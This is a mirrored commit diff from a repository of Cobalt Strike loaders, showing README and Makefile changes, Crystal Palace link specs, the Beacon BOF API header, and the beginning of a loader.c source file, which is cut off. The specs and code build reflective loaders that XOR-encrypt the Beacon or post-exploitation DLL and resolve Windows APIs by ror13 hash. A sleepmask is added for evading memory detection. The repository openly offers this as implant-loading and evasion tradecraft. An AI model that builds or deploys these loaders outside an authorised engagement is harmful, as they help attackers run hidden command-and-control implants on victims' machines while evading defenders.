mirror of
https://github.com/rasta-mouse/Crystal-Loaders
synced 2026-06-21 14:06:53 +00:00
big update, add a sleepmask
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd
|
||||
Copyright (c) 2025 Daniel Duggan
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
all:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
cd loader && make $@
|
||||
cd postex && make $@
|
||||
cd mask && make $@
|
||||
|
||||
clean:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
cd loader && make $@
|
||||
cd postex && make $@
|
||||
cd mask && make $@
|
||||
|
||||
@@ -1,18 +1,14 @@
|
||||
# Crystal Loaders
|
||||
|
||||
A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike.
|
||||
This repo contains a couple of PIC loaders and a custom sleepmask COFF for use with Cobalt Strike. They are basic implementations where custom evasion tradecraft must be weaved in using [Crystal Palace](https://tradecraftgarden.org/).
|
||||
|
||||
## Setup
|
||||
## Usage
|
||||
|
||||
1. Download the Crystal Palace Release distrubtion.
|
||||
2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`.
|
||||
3. Load `crystalpalace.cna` into Cobalt Strike.
|
||||
4. Profit.
|
||||
1. Download the Crystal Palace [Release](https://tradecraftgarden.org/crystalpalace.html) distrubtion.
|
||||
2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe` (the client).
|
||||
3. Load `loaders.cna` to use the custom loaders (there are loaders for both Beacon and postex DLLs).
|
||||
4. Load `mask.cna` to use the custom sleepmask.
|
||||
|
||||
## Tradecraft Garden
|
||||
## Notes
|
||||
|
||||
Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/).
|
||||
|
||||
### Notes
|
||||
|
||||
1. I've only written for x64.
|
||||
You can use just the loaders, just the sleepmask, or both together. Each are compatible with the [4.12 BUD](https://github.com/Cobalt-Strike/bof-vs/blob/dd6addd1f9b4bc637b63247d67552709f0c59ddf/BOF-Template/beacon.h) structures, so in theory, you can mix and match these with other custom loaders and sleepmasks (assuming they are also 4.12-compatible). This project is not backwards-compatible with pre-4.12.
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
import crystalpalace.spec.* from: crystalpalace.jar;
|
||||
import java.util.HashMap;
|
||||
|
||||
# ------------------------------------
|
||||
# $1 - Beacon payload file name
|
||||
# $2 - Beacon payload (dll binary)
|
||||
# $3 - Beacon architecture (x86/x64)
|
||||
# ------------------------------------
|
||||
set BEACON_RDLL_GENERATE
|
||||
{
|
||||
local('$beacon $arch $spec_path $spec $payload');
|
||||
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
|
||||
if ($arch eq "x86") {
|
||||
warn("x86 not supported, returning default.");
|
||||
return $null;
|
||||
}
|
||||
|
||||
$spec_path = getFileProper(script_resource("udrl"), "loader.spec");
|
||||
$spec = [LinkSpec Parse: $spec_path];
|
||||
$payload = [$spec run: $beacon, [new HashMap]];
|
||||
|
||||
if (strlen($payload) == 0) {
|
||||
warn("Failed to build loader, returning default.");
|
||||
return $null;
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
|
||||
# ------------------------------------
|
||||
# $1 - Beacon payload file name
|
||||
# $2 - Beacon architecture (x86/x64)
|
||||
# ------------------------------------
|
||||
set BEACON_RDLL_SIZE {
|
||||
return "0";
|
||||
}
|
||||
|
||||
# ------------------------------------
|
||||
# $1 – Post-ex payload file name
|
||||
# $2 – Post-ex payload (dll binary)
|
||||
# $3 – Post-ex architecture (x86/x64)
|
||||
# $4 – parent Beacon ID
|
||||
# $5 – GetModuleHandle pointer
|
||||
# $6 – GetProcAddress pointer
|
||||
# ------------------------------------
|
||||
set POSTEX_RDLL_GENERATE
|
||||
{
|
||||
local('$postex $arch $spec_path $spec $hashMap $final');
|
||||
|
||||
$postex = $2;
|
||||
$arch = $3;
|
||||
|
||||
if ($arch eq "x86") {
|
||||
warn("x86 not supported, returning default.");
|
||||
return $null;
|
||||
}
|
||||
|
||||
$spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
|
||||
$spec = [LinkSpec Parse: $spec_path];
|
||||
$hashMap = [new HashMap];
|
||||
|
||||
[$hashMap put: "\$GMH", cast($5, 'b')];
|
||||
[$hashMap put: "\$GPA", cast($6, 'b')];
|
||||
|
||||
$final = [$spec run: $postex, $hashMap];
|
||||
|
||||
if (strlen($final) == 0) {
|
||||
warn("Failed to build loader, returning default.");
|
||||
return $null;
|
||||
}
|
||||
|
||||
return $final;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,19 @@
|
||||
CC=i686-w64-mingw32-gcc
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
|
||||
|
||||
.PHONY: all x86 x64 clean
|
||||
|
||||
all: x86 x64
|
||||
|
||||
bin:
|
||||
mkdir -p bin
|
||||
|
||||
x86: bin
|
||||
$(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o
|
||||
|
||||
x64: bin
|
||||
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o
|
||||
|
||||
clean:
|
||||
rm -rf bin
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,43 @@
|
||||
x86:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x86.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
fixptrs "_caller"
|
||||
|
||||
dfr "_resolve" "ror13"
|
||||
|
||||
mergelib "../libtcg.x86.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
|
||||
x64:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
dfr "resolve" "ror13"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,49 @@
|
||||
x86:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x86.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
fixptrs "_caller"
|
||||
|
||||
dfr "_smart_resolve" "strings"
|
||||
|
||||
patch "_pGetModuleHandle" $GMH
|
||||
patch "_pGetProcAddress" $GPA
|
||||
|
||||
mergelib "../libtcg.x86.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
|
||||
x64:
|
||||
generate $KEY 2048
|
||||
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
dfr "smart_resolve" "strings"
|
||||
|
||||
patch "pGetModuleHandle" $GMH
|
||||
patch "pGetProcAddress" $GPA
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll_data"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key_data"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,391 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
|
||||
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
|
||||
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
|
||||
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
|
||||
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char * ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_UDC2_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
|
||||
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char * sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char * beacon_ptr;
|
||||
HEAP_RECORD * heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, *PBEACON_INFO;
|
||||
|
||||
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
|
||||
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
|
||||
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
|
||||
|
||||
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
|
||||
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
SYSCALL_API_ENTRY ntQueueApcThread;
|
||||
SYSCALL_API_ENTRY ntCreateProcess;
|
||||
SYSCALL_API_ENTRY ntOpenProcessToken;
|
||||
SYSCALL_API_ENTRY ntTestAlert;
|
||||
SYSCALL_API_ENTRY ntSuspendProcess;
|
||||
SYSCALL_API_ENTRY ntResumeProcess;
|
||||
SYSCALL_API_ENTRY ntQuerySystemInformation;
|
||||
SYSCALL_API_ENTRY ntQueryDirectoryFile;
|
||||
SYSCALL_API_ENTRY ntSetInformationProcess;
|
||||
SYSCALL_API_ENTRY ntSetInformationThread;
|
||||
SYSCALL_API_ENTRY ntQueryInformationProcess;
|
||||
SYSCALL_API_ENTRY ntQueryInformationThread;
|
||||
SYSCALL_API_ENTRY ntOpenSection;
|
||||
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
|
||||
SYSCALL_API_ENTRY ntDeviceIoControlFile;
|
||||
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
|
||||
} SYSCALL_API, *PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, *PRTL_API;
|
||||
|
||||
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
|
||||
* This allows for retrieving a copy of the information which would be under the BOF's
|
||||
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtls;
|
||||
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
|
||||
|
||||
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
|
||||
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
|
||||
|
||||
/* Beacon System call functions which will use the current system call method */
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
|
||||
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
|
||||
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon Gate APIs */
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
@@ -0,0 +1,164 @@
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "tcg.h"
|
||||
#include "loader.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t );
|
||||
DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID );
|
||||
|
||||
__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) );
|
||||
char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) );
|
||||
|
||||
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
|
||||
{
|
||||
HANDLE module = findModuleByHash ( mod_hash );
|
||||
return findFunctionByHash ( module, func_hash );
|
||||
}
|
||||
|
||||
FARPROC smart_resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = pGetModuleHandle ( mod_name );
|
||||
|
||||
if ( module == NULL ) {
|
||||
module = LoadLibraryA ( mod_name );
|
||||
}
|
||||
|
||||
return pGetProcAddress ( module, func_name );
|
||||
}
|
||||
|
||||
#ifdef WIN_X86
|
||||
